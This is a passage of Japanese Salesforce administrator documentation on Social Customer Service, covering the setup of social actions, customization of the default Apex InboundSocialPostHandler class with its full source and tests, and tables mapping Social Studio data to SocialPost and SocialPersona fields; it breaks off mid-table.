ソーシャルアクションは、ソーシャルカスタマーサービスが有効になっている
場合に作成されます。
1. ケースのオブジェクト管理設定から、[ボタン、リンク、およびアクション]

に移動します。
2. ソーシャルアクションの横にある [レイアウト] をクリックします。
3. 目的の項目を編集します。

メモ: 項目値を変更すると、ソーシャルカスタマーサービスApex クラス
に対して受信投稿が無効になる可能性があります。
ソーシャルコンテンツを送信するには、ソーシャルアクションに次の項
目が必要です。
• 返信:

• 管理ソーシャル取引先
• メッセージ種別
• コンテンツ
[見出し] と [名前] は必須項目です。これを削除するには、項目ごとに事
前定義された値を作成し、それをアクションから削除します。「クイッ
クアクション項目の定義済み項目値の設定」を参照してください。

4. [保存] をクリックします。
5. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
6. ケースページレイアウトで、フィードベースのレイアウトの横にある [編集] をクリックします。
7. パレットで、[クイックアクション] をクリックします。
8. ソーシャルアクションがレイアウトの [Salesforce Classicパブリッシャーのクイックアクション] セクションに

あることを確認します。
9. 必要に応じて、リードオブジェクト (リードのオブジェクト管理設定から [ページレイアウト] に移動) でス

テップ 5 ～ 8 を繰り返してリードのソーシャルアクションを有効にします。

関連トピック:

項目履歴管理
ソーシャルカスタマーサービスの実装
Complete Guide to Social Customer Service (ソーシャルカスタマーサービス完全ガイド)
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デフォルトの Apex クラスの変更
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Starter Pack を使用していない場合、デフォルトの Apex クラスをカスタマイズし
て、受信ソーシャルコンテンツの処理方法を指定できます。

メモ:  Starter Pack を使用している場合は、デフォルトの Apex クラスを変更で
きません。無料の Starter Pack を使用すると、最大 2 つのソーシャルアカウン
トを接続するだけで Social Studio アカウントのように、残りの詳細は Salesforce

で処理されます。
ソーシャルカスタマーサービスのデフォルトの Apex クラスによって、ソーシャ
ル投稿、ソーシャル人格、ケース、取引先責任者が作成され、一般的な使用事
例がサポートされます。新しい Apex クラスを作成することで、情報の処理方法
をカスタマイズすることができます。

重要: エージェントがソーシャルカスタマーサービス機能を使用して非公
開メッセージを Facebook ユーザに送信する場合、Apex クラスを入手可能な
最新バージョンの Salesforce API にアップグレードすることでエラーを防止ま
たは解決できます。特に、投稿を挿入する Apex クラスはバージョン 32 以上
にする必要があります。

デフォルトの Apex クラスを変更する場合は、設定ページで新しい Apex クラスを必ず選択します。このページ
には、Apex 処理エラーも表示されます。[設定] から、[クイック検索] ボックスに「ソーシャルメディア」と入
力し、[設定]を選択します。エラーが発生するとシステム管理者にメールが送信されます。ほとんどの場合、
データは保存され再処理できます。再処理を待機しているエラーが多すぎると、Salesforceソーシャルハブルー
ルが自動的に一時停止して、ソーシャル投稿が欠落していないか確認されます。
デフォルトの Apex クラス用のテストが用意されています。Apex クラスを変更する場合、それに応じてテスト
も変更する必要があります。

メモ:  Summer '15 以降に作成されたソーシャル人格には、人格を作成したソーシャルネットワークを示す
項目 [ソースアプリケーション] があります。この項目は、作成時に設定され、更新することはできませ
ん。組織でカスタム Apex を使用する場合は、この項目を使用するように更新します。Summer '15 リリース
より前に作成されたソーシャル人格には、この項目がないことに注意してください。また、新しい項目
がソーシャルアクションに追加されるたびに、Apex のバージョンを更新する必要があります。この作業
を行わないと、新しい項目が保存されません。

Apex クラスを作成するには、[設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラ
ス] を選択します。以下のコードを使用して、次の操作を実行できます。
• 個人取引先をサポートする
• デフォルトの取引先 ID を指定する
• クローズケースが再オープンされるまでの日数を変更する
global class MyInboundSocialPostHandlerImpl extends
Social.InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler {

global override SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name;
if (persona.RealName != null && String.isNotBlank(persona.RealName))
name = persona.RealName;
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String firstName = '';
String lastName = 'unknown';
if (name != null && String.isNotBlank(name)) {
firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (lastName == null || String.isBlank(lastName))
lastName = firstName;
}

//You must have a default Person Account record type
Account acct = new Account (LastName = lastName, FirstName = firstName);
insert acct;
return acct;
}

global override String getDefaultAccountId() {
return '<account ID>';

}

global override Integer getMaxNumberOfDaysClosedToReopenCase() {
return 5;

}
}

以下のコードを使用して、独自のソーシャルカスタマーサービスプロセスを実装できます。
global class MyInboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler {

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String,Object> data) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();

// Custom process

return result;
}

}

デフォルトの Apex クラスでは、取引先責任者がソーシャル人格の親として設定されます。取引先、個人取引
先、またはリードとしてソーシャル人格の親を設定するには、ソーシャル人格の親を上書きするメソッドを作
成します。
エラーが失われないように、投稿がエラーキューに転送されるようにするには、カスタム Apex で次の 2 つの
いずれかを行う必要があります。
1. 例外をバブルアップする (推奨)。

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {
Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);

try{
//handle the post here
} catch(Exception e){
//log exception, etc
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throw e;
}
return result;
}

または

2. 応答オブジェクトの成功フラグを false に設定する。
global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {
Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);

try{
//handle the post here
} catch(Exception e){
//log exception, etc
result.setSuccess(false);
}
return result;
}

デフォルトの Apex クラスプロセス
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

受信投稿がたどるデフォルトの Apex クラスの経路を示すダイアグラムです。
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デフォルトの Apex クラスの参照
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ソーシャルカスタマーサービスのデフォルトのフル Apex クラスコード。次の
Apex クラスは、Summer '16 リリースの時点で最新です。
以前のバージョンについては、「デフォルトの Apex クラス履歴」 (ページ3568)を
参照してください。

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;
Boolean isNewCaseCreated = false;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

// Create a case if one of these post tags are on the SocialPost, regardless of the
skipCreateCase indicator.

global virtual Set<String> getPostTagsThatCreateCase(){
return new Set<String>();

}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
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buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);
setModeration(post, rawData);

upsert post;

if(isNewCaseCreated){
updateCaseSource(post, parentCase);

}

return result;
}

private void setModeration(SocialPost post, Map<String, Object> rawData){
//if we don't automatically create a case, we should flag the post as requiring

moderator review.
if(post.parentId == null && !isUnsentParent(rawData))

post.reviewedStatus = 'Needed';
}

private void updateCaseSource(SocialPost post, Case parentCase){
if(parentCase != null) {

parentCase.SourceId = post.Id;
//update as a new sobject to prevent undoing any changes done by insert triggers

update new Case(Id = parentCase.Id, SourceId = parentCase.SourceId);
}

}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);

return persona;
}
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private void updatePersona(SocialPersona persona) {
try{

update persona;
}catch(Exception e) {

System.debug('Error updating social persona: ' + e.getMessage());
}

}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

if(!isUnsentParent(rawData)) {
Case parentCase = findParentCase(post, persona);
if (parentCase != null) {

if (!parentCase.IsClosed) {
return parentCase;

}
else if (caseShouldBeReopened(parentCase)) {

reopenCase(parentCase);
return parentCase;

}
}
if(shouldCreateCase(post, rawData)){

isNewCaseCreated = true;
return createCase(post, persona);

}
}

return null;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null) {
postToUpdate.PersonaId = persona.Id;

if(persona.ParentId.getSObjectType() != SocialPost.sObjectType) {
postToUpdate.WhoId = persona.ParentId;

}
}
if(parentCase != null) {

postToUpdate.ParentId = parentCase.Id;
}

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;
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} else if (persona.ParentId.getSObjectType() == Account.sObjectType) {
newCase.AccountId = persona.ParentId;

}
}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = null;
if (post.ReplyTo != null && !isReplyingToAnotherCustomer(post, persona) &&

!isChat(post)) {
parentCase = findParentCaseFromPostReply(post);

}
if (parentCase == null) {

parentCase = findParentCaseFromPersona(post, persona);
}
return parentCase;

}

private boolean isReplyingToAnotherCustomer(SocialPost post, SocialPersona persona){
return !post.ReplyTo.IsOutbound && post.ReplyTo.PersonaId != persona.Id;
}

private boolean isChat(SocialPost post){
return post.messageType == 'Private' || post.messageType == 'Direct';
}

private Case findParentCaseFromPostReply(SocialPost post) {
if (post.ReplyTo != null && String.isNotBlank(post.ReplyTo.ParentId)) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
Id = :post.ReplyTo.ParentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private Case findParentCaseFromPersona(SocialPost post, SocialPersona persona) {
SocialPost lastestInboundPostWithSamePersonaAndRecipient =

findLatestInboundPostBasedOnPersonaAndRecipient(post, persona);
if (lastestInboundPostWithSamePersonaAndRecipient != null) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
id = :lastestInboundPostWithSamePersonaAndRecipient.parentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}
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private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);

}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null){

if((post.provider == 'Facebook' && post.messageType == 'Private') ||
(post.provider == 'Twitter' && post.messageType == 'Direct')){

SocialPost replyTo =
findReplyToBasedOnResponseContextExternalPostIdAndProvider(post);

if(replyTo.id != null)
return replyTo;

}
return findReplyToBasedOnExternalPostIdAndProvider(post);

}
return new SocialPost();
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}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE Provider = :post.provider AND ExternalPostId = :post.responseContextExternalId LIMIT
1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnResponseContextExternalPostIdAndProvider(SocialPost
post){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND responseContextExternalId =
:post.responseContextExternalId ORDER BY posted DESC NULLS LAST LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findLatestInboundPostBasedOnPersonaAndRecipient(SocialPost post,
SocialPersona persona) {

if (persona != null && String.isNotBlank(persona.Id) && post != null &&
String.isNotBlank(post.Recipient)) {

List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE Provider
= :post.provider AND Recipient = :post.Recipient AND PersonaId = :persona.id AND IsOutbound
= false ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
return posts[0];

}
}
return null;

}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
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ExternalId = :persona.ExternalId LIMIT 1];
} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.MediaProvider)) {
personaList = [SELECT Id, ParentId FROM SocialPersona WHERE

MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean shouldCreateCase(SocialPost post, Map<String, Object> rawData) {
return !isUnsentParent(rawData) && (!hasSkipCreateCaseIndicator(rawData) ||

hasPostTagsThatCreateCase(post));
}

private boolean isUnsentParent(Map<String, Object> rawData) {
Object unsentParent = rawData.get('unsentParent');

return unsentParent != null && 'true'.equalsIgnoreCase(String.valueOf(unsentParent));

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

private boolean hasPostTagsThatCreateCase(SocialPost post){
Set<String> postTags = getPostTags(post);
postTags.retainAll(getPostTagsThatCreateCase());
return !postTags.isEmpty();

}
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private Set<String> getPostTags(SocialPost post){
Set<String> postTags = new Set<String>();
if(post.postTags != null)

postTags.addAll(post.postTags.split(',', 0));
return postTags;

}

global String getPersonaFirstName(SocialPersona persona) {
String name = getPersonaName(persona);
String firstName = '';
if (name.contains(' ')) {

firstName = name.substringBeforeLast(' ');
}
firstName = firstName.abbreviate(40);
return firstName;

}

global String getPersonaLastName(SocialPersona persona) {
String name = getPersonaName(persona);
String lastName = name;
if (name.contains(' ')) {

lastName = name.substringAfterLast(' ');
}
lastName = lastName.abbreviate(80);
return lastName;

}

private String getPersonaName(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName)) {

name = persona.RealName.trim();
}
return name;

}

global virtual SObject createPersonaParent(SocialPersona persona) {

String firstName = getPersonaFirstName(persona);
String lastName = getPersonaLastName(persona);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}
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デフォルトの Apex クラスの Apex テスト
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

デフォルトの Apex クラスコードのソーシャルカスタマーサービスのテスト。

@isTest
public class InboundSocialPostHandlerImplTest {

static Map<String, Object> sampleSocialData;
static Social.InboundSocialPostHandlerImpl handler;

static {
handler = new Social.InboundSocialPostHandlerImpl();

sampleSocialData = getSampleSocialData('1');
}

static testMethod void verifyNewRecordCreation() {
SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchSocialPostRecord() {
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
insert existingPost;

3558

デフォルトの Apex クラスの Apex テストカスタマーサポートツールの設定および管理



SocialPost post = getSocialPost(sampleSocialData);
post.R6PostId = existingPost.R6PostId;
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

System.assertEquals(1, [SELECT Id FROM SocialPost].size(), 'There should be only
1 post');

}

static testMethod void matchSocialPersonaRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;

SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);
persona.ExternalId = existingPersona.ExternalId;

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchCaseRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case');

insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
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existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

}

static testMethod void reopenClosedCase() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case',

Status = 'Closed');
insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');
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System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

System.assertEquals(false, [SELECT Id, IsClosed FROM Case WHERE Id =
:existingCase.Id].IsClosed, 'Case should be open.');

}

static SocialPost getSocialPost(Map<String, Object> socialData) {
SocialPost post = new SocialPost();
post.Name = String.valueOf(socialData.get('source'));
post.Content = String.valueOf(socialData.get('content'));
post.Posted = Date.valueOf(String.valueOf(socialData.get('postDate')));
post.PostUrl = String.valueOf(socialData.get('postUrl'));
post.Provider = String.valueOf(socialData.get('mediaProvider'));
post.MessageType = String.valueOf(socialData.get('messageType'));
post.ExternalPostId = String.valueOf(socialData.get('externalPostId'));
post.R6PostId = String.valueOf(socialData.get('r6PostId'));
return post;

}

static SocialPersona getSocialPersona(Map<String, Object> socialData) {
SocialPersona persona = new SocialPersona();
persona.Name = String.valueOf(socialData.get('author'));
persona.RealName = String.valueOf(socialData.get('realName'));
persona.Provider = String.valueOf(socialData.get('mediaProvider'));
persona.MediaProvider = String.valueOf(socialData.get('mediaProvider'));
persona.ExternalId = String.valueOf(socialData.get('externalUserId'));
return persona;

}

static Map<String, Object> getSampleSocialData(String suffix) {
Map<String, Object> socialData = new Map<String, Object>();
socialData.put('r6PostId', 'R6PostId' + suffix);
socialData.put('r6SourceId', 'R6SourceId' + suffix);
socialData.put('postTags', null);
socialData.put('externalPostId', 'ExternalPostId' + suffix);
socialData.put('content', 'Content' + suffix);
socialData.put('postDate', '2015-01-12T12:12:12Z');
socialData.put('mediaType', 'Twitter');
socialData.put('author', 'Author');
socialData.put('skipCreateCase', false);
socialData.put('mediaProvider', 'TWITTER');
socialData.put('externalUserId', 'ExternalUserId');
socialData.put('postUrl', 'PostUrl' + suffix);
socialData.put('messageType', 'Tweet');
socialData.put('source', 'Source' + suffix);
socialData.put('replyToExternalPostId', null);
socialData.put('realName', 'Real Name');
return socialData;

}
}
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ソーシャルオブジェクトに入力されるデータ
エディション

使用可能なエディション:
Salesforce Classic

ソーシャルカスタマー
サービスを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ここでは、どの項目が標準オブジェクト、ソーシャル投稿、ソーシャル人格に
存在するか、および現在どの項目に Social Studio からデータが入力されるかにつ
いて詳細を説明します。
Social Studio がソーシャルカスタマーサービス (SCS) と連動するように設定されて
いる場合、Social Studio はデータを未加工形式で Salesforce に送信します。そのデー
タは SCS データ受け入れシステムによって復号化されて 2 つの標準 Salesforce オブ
ジェクト (ソーシャル投稿とソーシャル人格) に追加されます。ソーシャル投稿
には、投稿固有の情報 (このコンテキストの投稿として、ツイート、Twitter ダイ
レクトメッセージ、Facebook 投稿、コメント、コメント返信などがあります) が
含まれます。ソーシャル人格には、SCS によって受信された投稿の著者情報から
収集されたソーシャル ID 情報が保存されます。

メモ: デフォルトの Apex クラスを変更した場合、対応付けが異なる可能性があります。

ソーシャル投稿
ソーシャル投稿オブジェクトには次の項目が存在します。

表 52 : ソーシャル投稿項目
メモサンプルデータSocial Studio から入力され

るデータ値
Salesforce 項目

更新対象外「Joe Smith」(Salesforce では
なく Social Studio のユーザ)

assignedToAssignedTo

R6 プラットフォームの投
稿で設定されたスコア

5analyzerScoreAnalyzer Score

Salesforce が新規データを受
信すると SCS によって入力

画像、動画mediaUrls arrayAttachment Type

されます。最初の添付ファ
イルのみが対応付けられ
ます。

Salesforce が新規データを受
信すると SCS によって入力

http://some.domain/image.jpgmediaUrls arrayAttachment URL

されます。最初の添付ファ
イルのみが対応付けられ
ます。

システム管理者の定義に
従って入力されます

[カスタム値]classificationClassification

更新対象外なしcommentCountCommentCount
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メモサンプルデータSocial Studio から入力され
るデータ値

Salesforce 項目

ソーシャル投稿の実際の
コンテンツ

Apple teases the new Mac Pro,

what do you think (Apple の新
しい Mac Pro のティーザー
についての感想は?)

contentContent

ネイティブのソーシャル
ネットワーク ID

1111222233334444externalPostIdExternalPostId

なしthehotclothesauthorHandle

Social Studio が投稿を収集し
た日

2013-06-11T13:07:00ZharvestDateHarvestDate

更新対象外なしsourceHeadline

Salesforce 内で入力されま
す。

12345678912345salesforcePostIdId

更新対象外なしinboundLinkCountInboundLinkCount

Salesforce 内で入力されま
す。

はい/いいえなしIsOutbound

更新対象外なしkeywordGroupNameKeywordGroupName

SCS で入力されます英語languageLanguage

更新対象外なしlikesAndVotesLikesAndVotes

ソーシャルネットワークTWITTERmediaProviderMediaProvider

ソーシャルネットワークTwittermediaTypeMediaType

使用可能な値:ツイートmessageTypeMessageType

• Twitter: ツイート、リプ
ライ、ダイレクト

• Facebook: 投稿、コメン
ト、返信、非公開

Social Studio によってシステ
ム生成されます。

この投稿者からのツイー
ト: mysamplehandle

sourceName

公開に使用されるソーシャ
ルアカウントによって入

Northern Trails OutfittersなしOutboundSocialAccount

力されます。発信投稿専
用。
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メモサンプルデータSocial Studio から入力され
るデータ値

Salesforce 項目

投稿がケースに関連付け
られている場合、親ケー
ス番号が入力されます。

00001728 (リンク済み)なしParent

著者のソーシャル人格 (存
在する場合) が入力されま
す。

サンプル人格なしPersona

ソーシャルネットワーク
で公開された日時。

2013-06-11T13:07:00ZpostDatePosted

Social Studio 内で設定された
優先度。

高postPriorityPostPriority

タグはカンマで区切られ
ます。

投稿タグ 1、投稿タグ 2postTagsPostTags

ソース投稿へのリンクhttp://twitter.com/mysamplehandle/statuses/1111222233334444postUrlPostUrl

ソーシャルネットワーク
に設定されます。

TwittermediaProviderProvider

ネイティブの Social Studio

投稿 ID。
12345678r6PostIdR6PostId

著者のネイティブの Social

Studio ID。
1234r6SourceIdR6SourceId

トピックプロファイルま
たは管理アカウントのネ
イティブの Social Studio ID

1234567890r6TopicIdR6TopicId

ソーシャルネットワーク
の受信者のネイティブ ID

12345678912345recipientIdRecipient

なしユーザrecipientTypeRecipientType

Salesforce のロジックが、
Social Studio からの

別のソーシャル投稿 (リン
ク済み)

なしReplyTo

replyToExternalPostId に基づ
いて動的に設定します。

なしどちらでもないsentimentSentiment

更新対象外なしsharesShares

著者の種別を追跡するた
めに使用されるソースタ
グ

ソースタグ 1、ソースタグ
2

sourceTagsSourceTags
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メモサンプルデータSocial Studio から入力され
るデータ値

Salesforce 項目

なしNotSpamspamRatingSpamRating

更新対象外なしstatusStatus

更新対象外なしstatusMessageStatusMessage

更新対象外なしthreadSizeThreadSize

Social Studio.sd 内のトピック
プロファイル名

@my_handletopicProfileNameTopicProfileName

トピックプロファイルま
たは管理アカウントのど
ちらであるか。

キーワード | 管理topicTypeTopicType

更新対象外なしuniqueCommentorsUniqueCommentors

更新対象外なしviewCountViewCount

他の複数のレコードタイ
プ (リードを含む) になる可

多態的なリレーションなし担当

能性があります。リンク
済み。

ソーシャル人格
ソーシャル人格オブジェクトには次の項目が存在します。

メモ: ソーシャル人格オブジェクトは、他のユーザから投稿を受け取った場合にのみ、既存の人格レコー
ドによって更新されます。ソーシャル人格が並列プロセスで更新されることはありません。

表 53 : ソーシャル人格項目
メモサンプルデータSocial Studio から入力され

るデータ値
Salesforce 項目

更新対象外なしareWeFollowingAreWeFollowing

なしサンプル Twitter 自己紹介bioBio

なし1234567890externalUserIdExternalId

なしhttp://some.domain/image.jpgprofileIconUrlExternalPictureURL

なし290followersFollowers

なし116followingFollowing

更新対象外なしisBlacklistedIsBlacklisted
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メモサンプルデータSocial Studio から入力され
るデータ値

Salesforce 項目

この値は、このレコード
が取引先責任者/取引先に

true/falseなしIsDefault

表示されるアバター画像
の取得に使用されるかど
うかを示します。ソーシャ
ル取引先責任者によって
使用されます。

更新対象外なしisFollowingUsIsFollowingUs

更新対象外なしkloutScoreKlout

なし4listedListedCount

プロファイルのソーシャ
